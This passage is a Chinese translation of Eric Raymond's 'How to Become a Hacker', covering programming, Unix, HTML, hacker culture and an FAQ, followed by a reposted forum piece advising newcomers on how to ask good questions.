    随著新科技的发明和旧技术的取代, 这些工具随时间在慢慢的改变. 例如: 以往总是会学会用机器码写程序, 直到最近我们开始使用 HTML. 不过, 在 1996 年末,下面所举的工具是很明显的被需要的:

1. 学习程序设计.

    当然, 这是基础的 hacking 技能. 在 1997 年, 理所当然的, 你必须学会 C. 但,如果你只是学一种语言, 那么你不能算是一位 hacker, 了不起只能算是一个programmer. 除此, 你还必须学会学会以独立于任何程序语言之上的概括性观念来思考一件程序设计上的问题. 要成为一位真正的 hacker, 你必须要能在几天之内将manual 内容和你目前己经知道的关连起学会一种新的语言. 也就是说, 你必会学会数个不同的语言.

    还了 C 之外, 你至少还要会 LISP 或 Perl (Java 也正在努力的挤上这个名单;译者注: 我很怀疑这份名单说 :p ). 除了几重要的 hacking 常用语言之外,这些语言提供你一些不同的程序设计途径, 并且让你在好的方法中学习.

    程序设计是一种复杂的技术, 我没辨法在这提供完整的学习步骤. 但是我能告诉你一些在书本上和课堂上所没有的东西 (有很多, 几乎全部最好的 hacker 们都是自习而来的). (a) 读别人的程序码 和 (b) 写程序, 这两项是不错的方法.

    学习写程序就像在学习写一种良好的自然语言, 最好的方法是去看一些专家们所写的东西, 然后写一些你自己的东西, 然后读更多, 再写更多 … 然后一直持续, 一直到你发展出一种属于自己的风格和特色.

    要找到好的程序码来看是很一件很困难的事, 因为, 对菜鸟 hacker 们而言, 适于供他们阅读和努力的大型程序的 source 数量很少. 但这事己有了戏剧性的变化了;现在免费的供应的软件、程序设计工具和操作系统(大都公开提供 source, 而且全都是由 hacker 们写成的)到处可看. 进入下一个主题…

2. 取得一个免费的 UNIX , 并学习使用和维护.

    我先假设你己经有一部个人电脑或者是可以使用任何一部 (现在的小孩子真幸福,可如此轻易的拥有 :-)). 取得 hacker 技巧的第一个步骤是取得一份 Linux 或者一份免费的 BSD-Unix, 并将它安装在自己的机器, 并使之顺利的运作.

    没错, 在这个世界上除了 Unix 之外, 还有其它的操作系统. 但是他们只提供bianry, 你不能看到他们的程序码, 你也不能修改他们. 想要在 DOS 或 Windows或 MacOS 开始 hacking, 无疑就是要你绑著枷锁跳舞一样.

    除此之外, Unix 是 Internet 上的操作系统. 当你在不懂 Unix 的情况下学习使用Internet 时, 你没辨法在不懂 Unix 的情况下成为 Internet 的 hacker. 因为这个原故, 现在的 hacker 文化还是很牢固的以 Unix 为中心绕著. (这并不完全是正确的, 而且有些活在旧时代的 hacker 甚至也不喜欢这种情形, 但是 Unix 和Internet 之间的共生共成己经到了牢不可破的地步, 即使是 Microsoft 的大块肌肉也没能在上面留下明显的伤痕.)

    因些, 把 Unix 装起来吧! (我自己是喜欢 Linux, 但是还有其它的东东可用.) 学习它, 让它运作起来, 让它陪你努力精进. 用他向整个 Internet 喊话. 看程序码,改程序. 有一天你成为一位高竿的 hacker, 你回头往后看时会发现, 你得到比Microsoft 操作系统所能提供的还要好的程序设计工具(包括 C, Lisp和 Perl).而且得到快乐, 并学到比你想像中的还要多的知识.

    关于学习 Unix, 在 Loginataka 有更多的资料.

(http://www.ccil.org/~esr/faqs/loginataka.html)

    看一下 Linux distribution 的目录或 Linux CD, 并把自己交付给它.

3. 学习使用 World Wide Web 并学会写 HTML.

    在 hacker 文化创造出来的东西, 大多在他们的活动范围外被使用著, 如, 在工厂和辨公室或大学被漠漠的使用著. 但 Web 是一个很大的例外, 这个 hacker 眼中的大玩具甚至还被政客们接受, 并悄悄的在改变这个世界. 因此(还有很多好的理由),你必须学习 Web.

    并不只是学习使用 browser (这太容易了)而己, 还要学会写 HTML 这个 Web 的标签语言. 如果你不知道如何设计程序, 写 HTML 也可以给一些习惯上的帮助.嗯!! 建立 home page 吧!

    不过, 有一个 home page 并没任何特别之处能让你成为一位 hacker. Web 上到处都是 home page, 而且大部份都没什么重点, 没什么内容的烂泥 — 很好看的烂泥巴,但是看起来都一样, 差不多.

(http://www.ccil.org/~esr/html-hell.html)

    为了让你的 page 有其价值, 它必须是有内容的东西 — 它必须是有趣并且(或者)对其它 hacker 有用处的.

Hacker 文化的状况

    就像大多数没有经济活动的文化一样, hackerdom 的运作是建立在名望之上. 当你尝试去解决一个有趣的问题时, 你所做事是否有趣, 你的解决方案是不是真的好用, 这些只有你的技术上的同好或前辈准备好为你做评价.

    因此, 当你开始玩起 hacker 的游戏时, 你的主要分数是来自其它 hacker 们对你的技术的看法(这就是为什么只当其它的 hacker 都认为你是 hacker 时, 你才算是一位真正的 hacker). 这个事实被人们认为 hacking 是一种孤独的工作的印象所朦敝了; 也被hacker 文化的禁忌(现在己渐渐的朽坏了, 但依然存在) 和存在人们内心动机的自大或特权之间的冲突所朦敝.

    具体的说, hackerdom 就是人类学家所说的「天才文化」.你在其中所得到的地位和名望并不来自于支配其它人, 或是因为长的漂亮, 或因为你有一些别人想要的东西, 而是因为你送出东西. 特别是, 你给送出你的时间,你的创造力和你的技术成果.

    下面有五种事, 你会因为做了这些事而爱到 hacker 们尊敬:

1. 写免费的软件.

    第一种是写那些其它 hacker 们觉的有趣或好用的程序, 并把 source 公开开放给整个 hacker 文化中的人使用.

hackerdom 最爱尊敬的是写出大而功能强的程序的人, 而且这程序是广为大家需要的,

所以大家都在做用这些程序.

2. 帮忙 test 和 debug 免费的软件

    hacker 们也尊敬帮忙 debug 免费软件的人. 在这个不是很完美的世界, 你不可避免的必须花掉大部分的软件发展周期在 debug 阶段上. 这就是为什么在任何免费软件发展者的脑子都会告诉你一件事, 好的 beta 测试者(能很很清楚的描述发生的状况,正确的发现问题出处, 可以容忍测试版本的 bug, 并且能进行一些简单的诊断程序)和红宝石一样贵重.

    如果你是一只菜鸟, 试著开始去找一个你有兴趣的正在发展中的程序, 并且成为一位好的 beta 测试者. 从帮忙测试开始, 很自然的你开始帮忙 debug, 进而开始帮忙修改程序. 你将在这过程中学习到很多东西, 并,且和以后可以帮助你的人结下因果.

3. 公布有用的资讯.

    另一项好事是收集和过滤有用和有趣的资讯, 整理成 Web page 或 FAQ 之类的文件, 让大家能很容易的收得.

    几种主要技术 FAQ 的维护者都能得和免费软件的作者几乎一样多的尊敬.

4. 帮忙维持一些简单的工作.

    hacker 文化是由一群自愿者维持运作著. 有一些工作很无趣但却必须维持正常运作的, 如: 管理 mailing list, 维护 newsgroup, 维持大的软件供应站台, 推动RFC 和其它技术标准.

    做这类的事将会得到很多的尊敬, 因为大家都知道这些工作是很花时间, 但又不像玩弄程序码般有趣.

5. 为 hacker 文化而努力.

    最后一项, 你可以为这个文化效劳, 并推广这个文化(例如, 写一份正确的入门手册,教别人如何成为一位 hacker :-)). 在你因为做了前面四件事之一而出名之前, 这不是你该做的事.

    正确的说, hacker 文化并没有任何的领导者, 但在这文化有所谓的文化英雄,族群历史学家. 当你在其中混的够久之后, 你也许会成为这之中的一员. 注意:hacker 们并不相信族群, 喧骚自大的长者, 所以成为这样的长者是非常的危险.与其去和别人竞争, 你宁可为自己定位, 给自己一个亲切谱虚的身份.

Hacker 和 Nerd(怪胎) 的关系

    成为一位 hacker, 你不需要成为令人讨厌的人(Nerd), 反于社会常态. 然而, 这对你而言却是非常有帮助的, 而且有很多 hacker 也是让人讨厌的人. 当一个社会的浪人有益于让你专心在真正重要的事情上面, 例如: 思考和 hacking.

    因此, 有很多 hacker 们接受了 `nerd’ 这种称呼, 甚至是使用 `geek'(杂耍演员) 这个字眼, 并引以为傲 — 这是一种说明他们独主于世俗习惯之外的方法. 在 The GeekPage 可找到更多相关的讨论。

(http://samsara.circus.com/~omni/geek.html)

    如果你能够适当的专注于 hacking 这事上面, 并且还保有你的生活, 那很好. 而且现在要做到这样, 比起以前我还是个菜鸟时容易. 主流文化现在也较为 techno-nerd (技术怪胎)所接受. 甚至有越来越多的人认为 hacker 们可以是很好的男朋友, 女朋友,老公和老婆. 在 Girl’s Guide to Geek Guys 可找到更多相关的讯息。

(http://www.bunnyhop.com/BH5/geekguys.html)

    如果你是因为没有生活而想开始 hacking, 那也没关系, 至少你就没有不能专心的问题了. 也许不久之后你就是一位 hacker 了.

风范要点

    再一次的强调, 要成为 hacker 就要了解 hacker 的精神. 如果你并不玩电脑, 那么还是有一些事情可以帮助你. 这些不能成为 hacker 的代替品, 不过有不少的 hacker经常做这些事, 并认为这些事和hacking 的本质有某种基本的关连.

* 阅读科学小说, 并参加小说的聚会(这是一个遇到 hacker 和原始 hacker们的好方法).

* 学禅, 并且(或者)接触战争的艺术. (钢铁般的纪律似乎很重要.)

* 训练你的耳朵对音乐的分析能力, 试著欣赏某种特殊的音乐, 并好好的玩一些乐器或者唱歌.

* 增加对于俏皮话和文字游戏的认识.

* 加强你的母语写作能力. (有很惊人数量的 hacker, 都是不错的作家. 这包括一位我所知道的最好的 hacker.)

    你做越多这些事, 那么你就愈是天生 hacker 的料。

最后, 有一些事千万不要做.

* 不要使用愚蠢而夸张的代号(user ID)或化名.

* 不要加入 Usenet 的战火 (或者任何地方的).

* 不要自称为 `cyberpunk'(电脑捣蛋玩家),也不要浪费任何时间在这么做的人身上.

* 不要 post 或 email 一些充满错字或文法错误的文章.

    做了这些事的结果只是为你招来大家的责难和批评. Hacker 们的记忆力都很好, 他们会一直记住你的所做所为, 你可能要花数年的时间才有辨法让他们重新接受你.

其它的资源

    Loginataka 有提到一些关于 Unix hacker 的训练和态度.

(http://www.ccil.org/~esr/faqs/loginataka.html)

    我也写了关于 Hackerdom 历史的简介.

(http://www.ccil.org/~esr/faqs/hacker-hist.html)

    Peter Seebach 也维护了一份很不错的 Hacker FAQ, 这份文件是专门给不知道如何和 hacker 们相处的经理人们看的.

(http://www.solon.com/~seebs/faqs/hacker.html)

    我也写了一份 paper「Cathedral and the Bazaar」, 上面解释 Linux 文化的运作方式. 你可以在我写的page 上找的到.

(http://www.ccil.org/~esr/writings/index.html)

常被提出的问题 (FAQ)

Q: 你能教我如何 hack 吗?

    自从公开这个 page 以来, 我每周都收到很多人来信问"请告诉我所有关于 hacking的事". 但很不幸的, 我没有这个时间或者是精力去做这件事; 我的 hacking project已经用掉我 110% 的时间了.

    就算我愿意, 但是基本上, hacking 是一种必须自习而成的生活态度和技术. 你会发现,当真正 hackers 愿意帮助你的同时,你将得不到他们的尊敬,若你求他们把会的东西都直接给你的话。

    先学一点东西吧! 表现出你正在努力尝试, 你有能力独立学习的. 然后再带著你所遇到的难题去和 hacker 见面.

Q: 我要在那才能找的到一位真的 hacker 并和他们交谈?

很好, 不过很确定的, 不会在 IRC. 就我所能看到的, 那除了骗子和 cracker 之外什么也没有. 最好的方法是找到一个在你附近的 Unix 或 Linux 的使用群, 并加入他们,参加他们的聚会 (在 Linux Users’ Group page on Sunite 有一份目录).

(http://unc.sunsite.edu/linux/ldp/lugs.html)

Q: 我应该从那一种语言开始学呢?

    如果你真的不懂 HTML 的话, 那就从它开始吧. 市面上有很多外表光鲜亮丽的 HTML烂书. 我最喜欢的一本是 HTML: The Definitive Guide.

(http://www.ora.com/catalog/html2/)

    如果你已经准备好开始学 programming 了, 我会建议你从 Perl(http://www.perl.com/)或 Python(http://www.python.org/)开始. 而 C 是真的很重要, 不过它也真的很难.

Q: 我要如何开始呢? 在那能拿到免费的 Unix 呢?

    我在这 page 内到处都有指向取得 Linux 的地方. 要成为一位hacker, 你必须要有动机并且主动进取还要独立学习. 就从现在开始吧….

新手该如何提问——由无数“跪求”想到(转自凌阳大学论坛)

最近发现网上“跪求”这个词很流行,我在论坛上面每天都要无数次看到这个词。说实话,用这个词,说的人自降人格,看的人也不见得舒服。如果想表示自己的诚意,最好的方式就是:

1. 多少有些自立自信

不要完全依赖别人,动不动作“小鸟依人”状。对自己的问题,即使解决不了,也先认真思考一下,至少先弄清楚自己要问什么。

2. 问之前先搜索一下旧帖

在类似unsp这种地方,绝大多数新手问题都已经问过无数回了。搜索旧帖,既有利于版面整洁,让别人的新问题更突出,也对你自己有利——你当时就可以得到非常详尽的解答,节省了你自己的时间;另外,你还可能看到许多富于启发性的争论,比期望的学到更多。

3. 把中国话说通顺

尊重老祖先留下的汉字和汉语,尊重他人的时间、眼睛和语言处理中枢——少用通假字和错别字,也不要弄一些奴颜卑膝、虚情假意的客套话(如大牛、高人、大侠、诸位高手、各位老大、“跪求”之类)白白浪费网络空间,赵本山说的好:少整没用的,多来点干货。而且,拜托不要动不动发那种“周杰伦”式的说唱风格帖子,令人头大。

4. 如果要问,就一次说清楚

现有的条件,你要做什么,主要数据、主要参数,来个痛快的,全说出来好不好?像有的人,问“怎么做个电源?”也不说极性、输入、功率、精度、效率等等要求,别人跟帖问一次,他回答一项,累不累?

5. 用个简单完整的标题

不要用老长的标题,也不要只有一个“请问”、“求助”之类,把问题的要点在题目中表明,好让感兴趣的,或者明白的人进一步关注,不要以为所有人都会一个不落的看完所有的帖子。